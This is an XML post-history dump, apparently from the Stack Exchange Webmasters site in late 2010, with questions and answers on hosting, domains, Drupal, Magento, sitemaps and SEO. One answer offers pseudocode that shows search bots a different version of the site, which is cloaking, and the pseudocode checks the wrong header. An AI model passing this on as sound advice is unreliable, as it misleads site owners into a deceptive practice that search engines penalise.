  <row Id="11391" PostHistoryTypeId="3" PostId="5707" RevisionGUID="729a1364-70e0-40b9-9e71-ee32e04df86e" CreationDate="2010-11-20T14:31:40.827" UserId="3376" Text="&lt;url&gt;" />
  <row Id="11392" PostHistoryTypeId="2" PostId="5708" RevisionGUID="115022c5-1dcf-457d-a6be-45ff49ac6b4d" CreationDate="2010-11-20T14:35:30.340" UserId="3376" Text="would the reason you would be showing different content is the reason you are using HTML5, which is non-compatible with IE7 &amp; below?" />
  <row Id="11393" PostHistoryTypeId="2" PostId="5709" RevisionGUID="d7dcdabd-a6cf-4ac2-9978-8b69205d5a32" CreationDate="2010-11-20T14:38:12.480" UserId="1424" Text="I've the following issue with the payment service Alertpay.com&#xD;&#xA;&#xD;&#xA;I've a drupal-based website, and I forward customers to Alertpay to insert their credit card information.&#xD;&#xA;&#xD;&#xA;The issue is that Alertpay offers an option to change shipping address. I really don't like this, because each country has a different shipping rate (included in the total I pass to Alertpay).&#xD;&#xA;&#xD;&#xA;Consequently a customer could set a country in my website, pay a low shipping rate, and then change the shipping address in Alert Pay without updating the shipping costs.&#xD;&#xA;&#xD;&#xA;ps. There is also a field shipping_costs in AlertPay parameters, but still Alertpay provides an option to change shipping country. I don't get why, it is not logical.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="11394" PostHistoryTypeId="1" PostId="5709" RevisionGUID="d7dcdabd-a6cf-4ac2-9978-8b69205d5a32" CreationDate="2010-11-20T14:38:12.480" UserId="1424" Text="Alertpay payment: how come customers can change shipping address in the end ?" />
  <row Id="11395" PostHistoryTypeId="3" PostId="5709" RevisionGUID="d7dcdabd-a6cf-4ac2-9978-8b69205d5a32" CreationDate="2010-11-20T14:38:12.480" UserId="1424" Text="&lt;ecommerce&gt;" />
  <row Id="11396" PostHistoryTypeId="2" PostId="5710" RevisionGUID="68ff0c14-5704-4882-9f6c-2a1bc0c5efcd" CreationDate="2010-11-20T14:43:23.557" UserId="1757" Text="As danlefree suggests, the trick is not to compete directly against a gorilla-sized company. First off, you can't. You don't have the marketing resources, the development resources, or the financial resources to compete feature for feature against a larger established company.&#xD;&#xA;&#xD;&#xA;SalesForce and Highrise are both CRM apps, but they cater to different markets. Just look at the price difference in the most popular (and most heavily pushed) plans on each website: SalesForce Enterprise is $125/month PER USER; Highrise Plus is only $49/month for 15 users. So SalesForce's main product package is effectively over 3800% as expensive as Highrise's bread and butter.&#xD;&#xA;&#xD;&#xA;While there probably are enterprise Highrise users, they are likely in the extreme minority. It's just not an application that is designed for enterprise-sized companies that need workflows/approvals, triggers, sales pipeline management, supply-chain management, a better security model, etc. Highrise's main selling point is price and simplicity. SalesForce's main selling point is that it does everything and integrates with everything. So the people switching from one product to the other are usually startups that outgrow Highrise, or businesses that thought they needed SalesForce when they really didn't." />
  <row Id="11397" PostHistoryTypeId="10" PostId="5707" RevisionGUID="6e46ac91-d64e-440f-9592-4b1923b3ab7c" CreationDate="2010-11-20T14:49:24.443" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11398" PostHistoryTypeId="2" PostId="5711" RevisionGUID="a6ce42d7-eb95-47a3-9df6-c9ae56b74c58" CreationDate="2010-11-20T14:50:53.270" UserId="1253" Text="Search engines have no idea your content comes from a database. All they see is the HTML your server side code generates. So, there are no special rules, tips, or techniques for database generated content. The same rules as any other content, dynamic or not, apply (see Marco's answer).&#xD;&#xA;&#xD;&#xA;(Before someone says you need search engine friendly URLs I should point out that isn't specific to database content which is what this question is asking. SE friendly URLs apply to any kind of dynamic content and static content as well)." />
  <row Id="11399" PostHistoryTypeId="5" PostId="5393" RevisionGUID="ba0e75e5-ba91-4087-a846-a9861a4d8ff0" CreationDate="2010-11-20T15:01:07.947" UserId="1253" Comment="added 1171 characters in body" Text="**Users first!!!**  Catering to search engines instead of users is a recipe for failure.&#xD;&#xA;&#xD;&#xA;Good usability would be to redirect them to a page that explains that the product doesn't exist anymore and invite them to explore other related items. That way you don't lose the visitor due to a bad link or confusion. After all if they are following a link expecting one thing and are shown another it looks bad for you if you don't handle it properly.&#xD;&#xA;&#xD;&#xA;I don't know if 4xx pages pass PR as I haven't seen anything conclusive pertaining to that but if you do you can &quot;spread&quot; the PR that page has by linking to your home page and any other important pages you deem necessary. If you do lose that PR it isn't a big deal. The usability you gain far outweighs whatever benefit the PR offered.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;A 301 is exactly what you want to do. It's the same product and by redirecting you make sure the new listing gets the benefits earned by the old page and users can still find the product they are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update #2**&#xD;&#xA;&#xD;&#xA;Doing a 301 redirect for content that isn't found is both semantically incorrect (the content hasn't moved, it simply doesn't exist) and can be confusing to users (they were expecting product X and got your home page instead with no explanation why).&#xD;&#xA;&#xD;&#xA;301 redirects do not cause duplicate content issues. They resolve them by alerting search engines that page A has moved to page B. &#xD;&#xA;&#xD;&#xA;&gt; (*1) as I user, when following a&#xD;&#xA;&gt; broken url from some external link to&#xD;&#xA;&gt; a website's page I might stick more to&#xD;&#xA;&gt; this website if I get redirected to&#xD;&#xA;&gt; HOME PAGE rather than seeing a 404&#xD;&#xA;&gt; page where I would think the webiste&#xD;&#xA;&gt; does not even exist anymore and maybe&#xD;&#xA;&gt; I don't even try to go to HOME PAGE of&#xD;&#xA;&gt; the website.&#xD;&#xA;&#xD;&#xA;A much better solution that solves your problem is to show them a custom 404 page that explains the page no longer exists, recommends possible alternatives, and if they don't like any of the possible alternatives invites them to the home page. If they leave anyway then you never had a chance of keeping them in the first place. **This solution is the most user friendly and offers you your highest chance of conversion.**" />
  <row Id="11404" PostHistoryTypeId="2" PostId="5713" RevisionGUID="cd6f0ea5-5485-4c8c-bd75-c1d3287a269b" CreationDate="2010-11-20T16:09:26.960" UserId="3377" Text="I am looking at getting a VPS with RackSRV, and they don't sell domain names, but are happy to set it up after I get one elsewhere.&#xD;&#xA;&#xD;&#xA;Can anyone recommend somewhere I can purchase just the domain, and not have any hassles moving it afterwards?&#xD;&#xA;&#xD;&#xA;(Or can I just purchase the domain and make it point at the RackSRV ip address, while still using the domain sellers' control panel? I don't really understand that part of it enough! :))&#xD;&#xA;&#xD;&#xA;I want the domain name registered in my name, ideally with myself as the technical and administrative contacts for simple transfers." />
  <row Id="11405" PostHistoryTypeId="1" PostId="5713" RevisionGUID="cd6f0ea5-5485-4c8c-bd75-c1d3287a269b" CreationDate="2010-11-20T16:09:26.960" UserId="3377" Text="Seperate .com domain name purchasing for a VPS" />
  <row Id="11406" PostHistoryTypeId="3" PostId="5713" RevisionGUID="cd6f0ea5-5485-4c8c-bd75-c1d3287a269b" CreationDate="2010-11-20T16:09:26.960" UserId="3377" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="11407" PostHistoryTypeId="2" PostId="5714" RevisionGUID="e8773064-6b42-4696-9bc0-2b2578d0b262" CreationDate="2010-11-20T16:27:31.070" UserDisplayName="Daniele" Text="I have developed a web application. It is a todo list manager.&#xD;&#xA;&#xD;&#xA;I am already displaying adversiment on users' accounts after they login with Google Adsense.&#xD;&#xA;&#xD;&#xA;To increase revenues I would like to display ads from another program, too.&#xD;&#xA;&#xD;&#xA;Obviously their spider will not be able to parse the content of the page before sending the ad because the area is password-protected.&#xD;&#xA;&#xD;&#xA;Are you in a similar setting? What would you suggest?&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Dan&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11408" PostHistoryTypeId="1" PostId="5714" RevisionGUID="e8773064-6b42-4696-9bc0-2b2578d0b262" CreationDate="2010-11-20T16:27:31.070" UserDisplayName="Daniele" Text="Best advertisement program from web application to display after user login, together with Google Adsense" />
  <row Id="11409" PostHistoryTypeId="3" PostId="5714" RevisionGUID="e8773064-6b42-4696-9bc0-2b2578d0b262" CreationDate="2010-11-20T16:27:31.070" UserDisplayName="Daniele" Text="&lt;web-development&gt;&lt;advertising&gt;" />
  <row Id="11410" PostHistoryTypeId="2" PostId="5715" RevisionGUID="d56db022-b2c6-4f39-9cc8-29ba8a5b1686" CreationDate="2010-11-20T17:23:41.380" UserId="1792" Text="Make two versions of the site.  &#xD;&#xA;&#xD;&#xA;    If (Referer == 'Google Bot')&#xD;&#xA;       show 'text version';&#xD;&#xA;    else&#xD;&#xA;       show 'images version';&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11413" PostHistoryTypeId="2" PostId="5716" RevisionGUID="65fa40f2-7234-44d7-9685-65e2d6698c18" CreationDate="2010-11-20T19:15:26.837" UserId="2707" Text="Some good choices would be:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;UStream&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Justin.tv&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;That said, I have never used either of these, but I've heard really good things about UStream and I can confirm that you can embed the players on your site." />
  <row Id="11414" PostHistoryTypeId="2" PostId="5717" RevisionGUID="5fabc6cf-c08e-4bce-b079-c4a64337c2a3" CreationDate="2010-11-20T19:26:55.330" UserId="2707" Text="There are thousands of companies out there that sell domain names. Two of the most popular (IMHO) are GoDaddy (shudder) and Network Solutions (also, shudder). Ignoring my shivers, GoDaddy has some decent prices (and questionable practices and horrible control panel) and Network Solutions was featured in the &quot;Social Network.&quot;&#xD;&#xA;&#xD;&#xA;Personally, I'd reccomend someone like &lt;a href=&quot;http://1and1.com&quot;&gt;1&amp;1&lt;/a&gt;. They have decent prices for domains and are somewhat friendly. Also, their control panel is pretty decent and easy to use when you need to access it.&#xD;&#xA;&#xD;&#xA;In your situation, you wouldn't want to move the domain, you'd just want to point the domain to your server through the registrar's control panel." />
  <row Id="11415" PostHistoryTypeId="2" PostId="5718" RevisionGUID="df3f3540-3a15-4d70-ad38-9e9f1d7951d9" CreationDate="2010-11-20T21:29:18.167" UserId="3381" Text="I have set up a new drupal site, and I have added an Image field to the default content type _story_ using CCK and ImageField. This issue is that I can view the images when logged into my admin account, but when I try to view the images when logged out (like most, if not all viewers of this site would be), they don't appear.&#xD;&#xA;&#xD;&#xA;I have check permissions and I can't find anything that looks like the problem.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="11416" PostHistoryTypeId="1" PostId="5718" RevisionGUID="df3f3540-3a15-4d70-ad38-9e9f1d7951d9" CreationDate="2010-11-20T21:29:18.167" UserId="3381" Text="Pictures are not displaying to anonymous users on Drupal, using ImageField!" />
  <row Id="11417" PostHistoryTypeId="3" PostId="5718" RevisionGUID="df3f3540-3a15-4d70-ad38-9e9f1d7951d9" CreationDate="2010-11-20T21:29:18.167" UserId="3381" Text="&lt;drupal&gt;" />
  <row Id="11420" PostHistoryTypeId="2" PostId="5719" RevisionGUID="a80526dd-b544-46ee-884c-2ff2a87fba3a" CreationDate="2010-11-20T23:55:33.470" UserId="2489" Text="BBC in smf fourm not show when new topic.&#xD;&#xA;&#xD;&#xA;How to setting its? I tried for find setting thanks" />
  <row Id="11421" PostHistoryTypeId="1" PostId="5719" RevisionGUID="a80526dd-b544-46ee-884c-2ff2a87fba3a" CreationDate="2010-11-20T23:55:33.470" UserId="2489" Text="How to show BBC in smf fourm show when new topic ?" />
  <row Id="11422" PostHistoryTypeId="3" PostId="5719" RevisionGUID="a80526dd-b544-46ee-884c-2ff2a87fba3a" CreationDate="2010-11-20T23:55:33.470" UserId="2489" Text="&lt;cms&gt;" />
  <row Id="11423" PostHistoryTypeId="5" PostId="5306" RevisionGUID="08c0c1ff-db8a-452f-a6e1-cad88b209908" CreationDate="2010-11-20T23:59:32.647" UserId="1843" Comment="added 581 characters in body" Text="We're looking for a good place to host our custom Django app (a fork of [OSQA][1]) and its postgresql backend. Requirements include:&#xD;&#xA;&#xD;&#xA;- Linux&#xD;&#xA;- Python 2.6 or (ideally) Python 2.7&#xD;&#xA;- Django 1.2&#xD;&#xA;- Postgres 8.4 or later &#xD;&#xA;- DB backup/restore handled by the hoster, not us&#xD;&#xA;- OS &amp; dev-platform-stack patching/maintenance handled by the hoster, not us&#xD;&#xA;- SSH access (so we can pull source code from GitHub, so we can install python eggs, etc.)&#xD;&#xA;- ability to set up cron jobs (e.g. to send out dail email updates)&#xD;&#xA;- ability to send up to 10K emails/day&#xD;&#xA;- good performance (not ganged up with a zillion other sites on one CPU, not starved for RAM)&#xD;&#xA;- FTP or SCP access to web logs&#xD;&#xA;- dedicated public IP&#xD;&#xA;- SSL support &#xD;&#xA;- Costs under $1000/month for a relatively small site (&lt;5M pageviews/month)&#xD;&#xA;- Good customer service&#xD;&#xA;&#xD;&#xA;We already have a prototype site running on [EC2][2] on top of a [Bitnami DjangoStack][3]. The problem is that we have to patch the OS, patch postgres, etc. &#xD;&#xA;&#xD;&#xA;We'd really prefer a platform-as-a-service (PaaS) offering, like Heroku offers for Rails apps, where all we need to worry about is deploying our code instead of worrying about system software patching and maintenance. Google App Engine is closest to what we're looking for, but they don't offer relational DB access (not yet at least). &#xD;&#xA;&#xD;&#xA;Anyone have a recommendation?&#xD;&#xA;&#xD;&#xA;  [1]: http://osqa.net/&#xD;&#xA;  [2]: http://aws.amazon.com/ec2/&#xD;&#xA;  [3]: http://bitnami.org/stack/djangostack" />
  <row Id="11424" PostHistoryTypeId="2" PostId="5720" RevisionGUID="93d6d2bd-8648-4db9-87d1-0c79cbf836fb" CreationDate="2010-11-21T04:05:12.730" UserId="2821" Text="I thought Magento came with this feature out of the box but it doesn't appear to be working at all. I'm not sure if I haven't set it up properly, but right now I'm resorting to using `cat` and altering the `page.xml` layout file to use the combined javascript and css files.&#xD;&#xA;&#xD;&#xA;Can I make Magento do this instead or is there an extension that adds this feature?&#xD;&#xA;&#xD;&#xA;(duplicate of http://stackoverflow.com/questions/4236381/is-there-a-magento-extension-for-combining-compressing-javascript-and-css)" />
  <row Id="11425" PostHistoryTypeId="1" PostId="5720" RevisionGUID="93d6d2bd-8648-4db9-87d1-0c79cbf836fb" CreationDate="2010-11-21T04:05:12.730" UserId="2821" Text="Is there a Magento extension for combining/compressing javascript and css?" />
  <row Id="11426" PostHistoryTypeId="3" PostId="5720" RevisionGUID="93d6d2bd-8648-4db9-87d1-0c79cbf836fb" CreationDate="2010-11-21T04:05:12.730" UserId="2821" Text="&lt;css&gt;&lt;javascript&gt;&lt;compression&gt;&lt;magento&gt;" />
  <row Id="11427" PostHistoryTypeId="2" PostId="5721" RevisionGUID="ee8c06cc-56ce-4753-99a4-6ed4673d79f9" CreationDate="2010-11-21T07:52:51.810" UserId="2840" Text="I have read [something about DFP][1], what do you think about it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/google-dfp-tutorial/14099/" />
  <row Id="11428" PostHistoryTypeId="2" PostId="5722" RevisionGUID="44d8c3e6-8888-4500-8fe3-a902021673cf" CreationDate="2010-11-21T07:52:52.280" UserDisplayName="mike" Text="I have a shared hosting account with a 20GB monthly bandwidth limit. I have exceeded my monthly limit and according to my host my counter is never reset, they say they use a continuous 30 day counter.&#xD;&#xA;&#xD;&#xA;So for example, I make payment on the 1st of each month, say I use 20GB in the last week of the month. My bandwidth counter is not reset on the 1st of the new month and my bandwidth will only become available in the last week of the new month.&#xD;&#xA;&#xD;&#xA;Is this common practice by shared hosting companies?&#xD;&#xA;&#xD;&#xA;Sounds a bit shady to me. Surely my counters should be reset on the 1st of every month when I make payment and 20GB of bandwidth should be available from the day payment is made?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11429" PostHistoryTypeId="1" PostId="5722" RevisionGUID="44d8c3e6-8888-4500-8fe3-a902021673cf" CreationDate="2010-11-21T07:52:52.280" UserDisplayName="mike" Text="Shared hosting banwidth limits" />
  <row Id="11430" PostHistoryTypeId="3" PostId="5722" RevisionGUID="44d8c3e6-8888-4500-8fe3-a902021673cf" CreationDate="2010-11-21T07:52:52.280" UserDisplayName="mike" Text="&lt;shared-hosting&gt;" />
  <row Id="11431" PostHistoryTypeId="2" PostId="5723" RevisionGUID="73ad87fd-cd83-422d-8b6b-b09dbc41d5be" CreationDate="2010-11-21T08:59:54.693" UserId="1757" Text="It makes no difference which day they reset it on as long as they reset it every month. It's not shady, it's just a little more confusing since most stats programs measure between the first of the month and the last day of the month. So unless your web host has configured a stats report that uses the same interval as their counter reset, what you see as your monthly bandwidth won't match up with what you're being billed by. But I'm sure they'll give you a report when they invoice you." />
  <row Id="11432" PostHistoryTypeId="2" PostId="5724" RevisionGUID="72673345-22b7-439a-979e-e5f463da567e" CreationDate="2010-11-21T09:19:00.080" UserId="2490" Text="I can recommend [arvixe][1]. From my personal experience the service is good, not expensive, and the most important they give you sql2008, iis7, php, mysql and the list is long.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="11433" PostHistoryTypeId="2" PostId="5725" RevisionGUID="ce1101b4-207e-45a9-bb45-4191f5003352" CreationDate="2010-11-21T11:05:43.770" UserId="1703" Text="Hi I'm looking at finding myself a reseller hosting plan (preferably based in the UK) and I wondering if anyone knows of any good reseller hosts that provide **UNLIMITED** disk space and bandwidth.&#xD;&#xA;&#xD;&#xA;The only UK host I seem able to find that matches this description is heartinternet.co.uk. Are there any others you would recommend? &#xD;&#xA;&#xD;&#xA;P.S. Hosts with cPanel get a +1 !!" />
  <row Id="11434" PostHistoryTypeId="1" PostId="5725" RevisionGUID="ce1101b4-207e-45a9-bb45-4191f5003352" CreationDate="2010-11-21T11:05:43.770" UserId="1703" Text="The top reseller hosts with unlimited web space and bandwidth" />
  <row Id="11435" PostHistoryTypeId="3" PostId="5725" RevisionGUID="ce1101b4-207e-45a9-bb45-4191f5003352" CreationDate="2010-11-21T11:05:43.770" UserId="1703" Text="&lt;web-hosting&gt;&lt;reseller&gt;" />
  <row Id="11436" PostHistoryTypeId="2" PostId="5726" RevisionGUID="69e8001b-052a-4ace-a3d1-6f934f1272e6" CreationDate="2010-11-21T13:25:31.450" UserDisplayName="user3388" Text="What's the concept behind Joomla logo?&#xD;&#xA;What does it mean?&#xD;&#xA;Thanks for your attention." />
  <row Id="11437" PostHistoryTypeId="1" PostId="5726" RevisionGUID="69e8001b-052a-4ace-a3d1-6f934f1272e6" CreationDate="2010-11-21T13:25:31.450" UserDisplayName="user3388" Text="What's Joomla logo Concept?" />
  <row Id="11438" PostHistoryTypeId="3" PostId="5726" RevisionGUID="69e8001b-052a-4ace-a3d1-6f934f1272e6" CreationDate="2010-11-21T13:25:31.450" UserDisplayName="user3388" Text="&lt;joomla&gt;" />
  <row Id="11439" PostHistoryTypeId="2" PostId="5727" RevisionGUID="dc42e99b-9f04-40a4-b924-b87439293ae1" CreationDate="2010-11-21T13:46:48.770" UserId="3175" Text="I have a `domain.com` which I translated all of the pages in my domain to several languages, all on their own subdomain (e.g. `es.domain.com, cn.domain.com, ru.domain.com` ...). The top level domain &quot;domain.com&quot; is redirected to &quot;`www.domain.com`&quot; where the English version is hosted. I have several questions:&#xD;&#xA;&#xD;&#xA;1) How should I list the translated pages in the sitemap (or maybe I shouldn't even list them?)? Can I list them on the sitemap that is served on www.domain.com/sitemap.xml or should I prepare a unique sitemap for each subdomain (es.domain.com/sitemap.xml etc.)?&#xD;&#xA;&#xD;&#xA;2) According to the answer for the previous question, is there any damage using sitemap for multiple versions of the site? Should I just use a sitemap for the English version?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11440" PostHistoryTypeId="1" PostId="5727" RevisionGUID="dc42e99b-9f04-40a4-b924-b87439293ae1" CreationDate="2010-11-21T13:46:48.770" UserId="3175" Text="SItemap for site with translations" />
  <row Id="11441" PostHistoryTypeId="3" PostId="5727" RevisionGUID="dc42e99b-9f04-40a4-b924-b87439293ae1" CreationDate="2010-11-21T13:46:48.770" UserId="3175" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="11442" PostHistoryTypeId="2" PostId="5728" RevisionGUID="bc220dd8-7572-4371-8f2f-08a20809d3e0" CreationDate="2010-11-21T13:57:26.980" UserId="2293" Text="First thing to have in mind is about content. If content is different from one to another language, then you should stick with subdomain solution (fr.domain.ext), but if it is just a plain translated version, you should use a subfolder solution (domain.ext/fr/).&#xD;&#xA;&#xD;&#xA;This because subdomain triggers and conflicts with site authority. That said I can go for your answers.&#xD;&#xA;&#xD;&#xA;If you are using subfolders, sitemap shouldn't be a problem. include everything into a single file (observing limits about sitemap file size). If you are using subdomains, then I think you can create a sitemap for each subdomain, and create a [sitemap index file][1] to aggregate them all and put it into the main site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index" />
  <row Id="11443" PostHistoryTypeId="2" PostId="5729" RevisionGUID="0420f1b7-be34-4126-b78c-699fbed816d6" CreationDate="2010-11-21T14:44:33.760" UserId="3237" Text="Currently I live in the Netherlands. So, what if..&#xD;&#xA;&#xD;&#xA;- I register a .CN domainname and upload my website to it. Under which law is my website? The Chinese or the Dutch?&#xD;&#xA;- and I host my website at the Isle of Man, under which law is my website? The Chinese, the Dutch or Isle of man?" />
  <row Id="11444" PostHistoryTypeId="1" PostId="5729" RevisionGUID="0420f1b7-be34-4126-b78c-699fbed816d6" CreationDate="2010-11-21T14:44:33.760" UserId="3237" Text="Domains, hosting and the law" />
  <row Id="11445" PostHistoryTypeId="3" PostId="5729" RevisionGUID="0420f1b7-be34-4126-b78c-699fbed816d6" CreationDate="2010-11-21T14:44:33.760" UserId="3237" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;law&gt;" />
  <row Id="11446" PostHistoryTypeId="10" PostId="5726" RevisionGUID="e034950c-9018-4e9e-9005-31943d430595" CreationDate="2010-11-21T14:48:25.210" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11447" PostHistoryTypeId="2" PostId="5730" RevisionGUID="e3867cfa-2da7-490c-b75b-16bbae3ad29f" CreationDate="2010-11-21T14:53:19.687" UserId="1253" Text="All of the above.&#xD;&#xA;&#xD;&#xA;You have to make sure you follow all of the rules set forth by the Chinese Gov't or whomever controls the .cn TLD. If you do not meet their criteria for use of a .cn domain name they can revoke it from you.&#xD;&#xA;&#xD;&#xA;If your business, or you if you aren't a registered business, is located in the Netherlands, then you are subject to their laws.&#xD;&#xA;&#xD;&#xA;If you host your website in the Isle of Man you also must follow their laws as they can shut down your service for violating it even if you aren't based there." />
  <row Id="11448" PostHistoryTypeId="2" PostId="5731" RevisionGUID="b68efa84-2b87-4ee4-877d-60dbfa52e337" CreationDate="2010-11-21T15:04:39.780" UserId="2898" Text="Alternatively, you could load all of the comments into the post and simply reveal the additional comments through an on-demand 'more' functionality. " />
  <row Id="11449" PostHistoryTypeId="2" PostId="5732" RevisionGUID="57c7d00d-c5da-4344-af81-b7b383d726ec" CreationDate="2010-11-21T15:12:02.797" UserId="2898" Text="Using absolute versus relative URLs and giving it a bit of time should ... er, actually does work.&#xD;&#xA;&#xD;&#xA;http://www.google.com/search?q=Cataclysm+Beta+Patch+%28Build+13316%29&#xD;&#xA;&#xD;&#xA;Google is presenting your canonical URL." />
  <row Id="11450" PostHistoryTypeId="2" PostId="5733" RevisionGUID="c4931969-f457-49da-91ae-cfce642ea607" CreationDate="2010-11-21T15:15:49.143" UserId="2898" Text="John's absolutely correct, though I'd add that you can use the sitemap-index as a real tool, even when you have fewer than 50,000 URLs.&#xD;&#xA;&#xD;&#xA;If you have different types of content, or different types of pages, you can use sitemap-index to split your site and determine how each type of content or page is performing. " />
  <row Id="11451" PostHistoryTypeId="2" PostId="5734" RevisionGUID="5de81ea7-9a02-4431-bba5-59d6a1e862d9" CreationDate="2010-11-21T15:22:11.833" UserId="2898" Text="No, though if it's doing something like this throughout the code it could create a small amount of drag because of the extra whitespace. You may want to investigate minifying your code.&#xD;&#xA;&#xD;&#xA;http://code.google.com/p/minify/ " />
  <row Id="11452" PostHistoryTypeId="5" PostId="5728" RevisionGUID="a230b0d9-4a77-4623-91ca-55a208e58567" CreationDate="2010-11-21T15:34:18.807" UserId="2293" Comment="references added" Text="First thing to have in mind is about content. If content is different from one to another language, then you should stick with subdomain solution (fr.domain.ext), but if it is just a plain translated version, you should use a subfolder solution (domain.ext/fr/).&#xD;&#xA;&#xD;&#xA;This because subdomain triggers and conflicts with site authority. That said I can go for your answers.&#xD;&#xA;&#xD;&#xA;If you are using subfolders, sitemap shouldn't be a problem. include everything into a single file (observing limits about sitemap file size). If you are using subdomains, then I think you can create a sitemap for each subdomain, and create a [sitemap index file][1] to aggregate them all and put it into the main site.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA; - http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory&#xD;&#xA; - http://webmasters.stackexchange.com/questions/403/how-should-i-structure-my-urls-for-both-seo-and-localization&#xD;&#xA; - http://www.seomoz.org/blog/subdomains-subfolders-and-toplevel-domains&#xD;&#xA; - http://www.seomoz.org/blog/understanding-root-domains-subdomains-vs-subfolders-microsites&#xD;&#xA; - http://guides.seomoz.org/chapter-9-myths-and-misconceptions-about-search-engines&#xD;&#xA; - http://www.searchenginejournal.com/subdomains-or-subfolders-which-are-better-for-seo/6849/&#xD;&#xA; - http://www.google.com/support/forum/p/Webmasters/thread?tid=53b7978b3ad1445e&amp;hl=en&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index" />
  <row Id="11453" PostHistoryTypeId="2" PostId="5735" RevisionGUID="cc167fc4-9833-45c3-ba68-e750021dcf2d" CreationDate="2010-11-21T15:35:52.207" UserId="2898" Text="G. Qyy is right, meta keywords are useless in today's SEO world. &#xD;&#xA;&#xD;&#xA;In terms of targeting content for search engines, I'm a bit old school and like single-focused keyword targeting. Now, Google will likely - over time - find a cluster of keywords but as you're writing I'd think about just one or potentially two terms (if it's a modifier.)&#xD;&#xA;&#xD;&#xA;So, if you're writing about a Purple Cheetah, then *that* should be the keyword target, but you might also target Fast Purple Cheetah. &#xD;&#xA;&#xD;&#xA;While writing good content can sometimes work, there are plenty of examples where that fails. So I recommend writing for search engines.&#xD;&#xA;&#xD;&#xA;http://www.blindfiveyearold.com/search-engines-are-readers-too&#xD;&#xA;&#xD;&#xA;It's **actually** about writing good web content - which will benefit human and bot readers alike.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="11454" PostHistoryTypeId="2" PostId="5736" RevisionGUID="16d20fe1-dadc-48b6-b5f2-21dd61938d93" CreationDate="2010-11-21T18:06:14.500" UserId="2707" Text="The quickest thing I can think of is Google's &lt;a href=&quot;http://code.google.com/speed/page-speed/docs/module.html&quot;&gt;mod_pagespeed&lt;/a&gt; for Apache. I've used it on my Magento store and didn't have any issues with the combination of the JS and CSS, though did run into some issues with the caching and what have you, but you can turn those off pretty easily.&#xD;&#xA;&#xD;&#xA;With mod_pagespeed, you want to use these filters in you `pagespeed.conf`:&#xD;&#xA;&#xD;&#xA;    # Combine CSS&#xD;&#xA;    ModPagespeedEnableFilters combine_css&#xD;&#xA;    # Minify Javascript&#xD;&#xA;    ModPagespeedEnableFilters rewrite_javascript&#xD;&#xA;&#xD;&#xA;Also, check out the `.htaccess` file in Paul Irish's &lt;a href=&quot;http://html5boilerplate.com/&quot;&gt;HTML5 Boilerplate&lt;/a&gt;. He outlines how to combine certain JS files. You don't want to combine all Javascript into one file, becaue there might be times when you want JS to run in a certain order." />
  <row Id="11455" PostHistoryTypeId="2" PostId="5737" RevisionGUID="28dfd861-3fcd-4be4-ae88-1b1b81e53479" CreationDate="2010-11-21T18:23:37.947" UserId="999" Text="While I was attending this event (http://worldtour.fogcreek.com/) I noticed this page had custom fonts for the Address part in the top left corner (i.e &quot;Fog Creek Software 55 Broadway Fl 55....&quot;) When I looked at the source code I couldn't really determine what they were doing but it satisfied these conditions:&#xD;&#xA;&#xD;&#xA; 1. Works well with IE 7,8 (and all other browsers)&#xD;&#xA; 2. Allows you to use any font you want&#xD;&#xA; 3. Is text base, i.e no flash, images, etc.&#xD;&#xA;&#xD;&#xA;So what technique are they using here guys????&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11456" PostHistoryTypeId="1" PostId="5737" RevisionGUID="28dfd861-3fcd-4be4-ae88-1b1b81e53479" CreationDate="2010-11-21T18:23:37.947" UserId="999" Text="What font technique is being used here?" />
  <row Id="11457" PostHistoryTypeId="3" PostId="5737" RevisionGUID="28dfd861-3fcd-4be4-ae88-1b1b81e53479" CreationDate="2010-11-21T18:23:37.947" UserId="999" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;website-design&gt;" />
